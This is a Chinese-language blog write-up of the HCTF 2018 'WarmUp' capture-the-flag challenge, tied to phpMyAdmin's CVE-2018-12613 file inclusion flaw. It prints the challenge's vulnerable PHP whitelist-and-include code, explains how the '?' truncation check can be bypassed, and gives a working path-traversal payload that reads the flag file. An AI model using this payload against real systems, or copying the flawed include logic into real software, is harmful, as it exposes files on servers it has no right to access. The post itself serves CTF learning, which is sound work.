[HCTF 2018]WarmUp

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)。

直接访问,没有任何有用信息:

image

查看源码,有个source.php的提示,访问一下试试:

image

 看到了php代码:

image

 题目也有提示,代码审计,来吧看看怎么个逻辑:

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

代码里提到了hint.php,访问看看,得知flag在ffffllllaaaagggg里:

image

我们如果想要进入文件包含的函数,需要经过前置过滤

1、代码定义了白名单,参数只能是source.php或hint.php,如果不在白名单直接返回false

2、mb_substr传入参数函数截取第一个?之前的字符串,判断是否在白名单,如果不在白名单返回false

3、urldecode对传入参数进行url解码,解码后再次进行mb_substr截取?之前的内容,判断是否在白名单内

经过三层判断满足白名单后,再次判断file的值非空且为字符串,则进入文件包含。

构造payload:

?file=source.php?ffffllllaaaagggg,回显空白,尝试访问上级找这个文件,上五层后发现目标:

?file=source.php?../../../../../ffffllllaaaagggg

flag{134cf44d-466e-4c4d-9216-cc07f63714b7}

image

 

posted @ 2025-09-05 21:12  晓看暮色云  阅读(10)  评论(0)    收藏  举报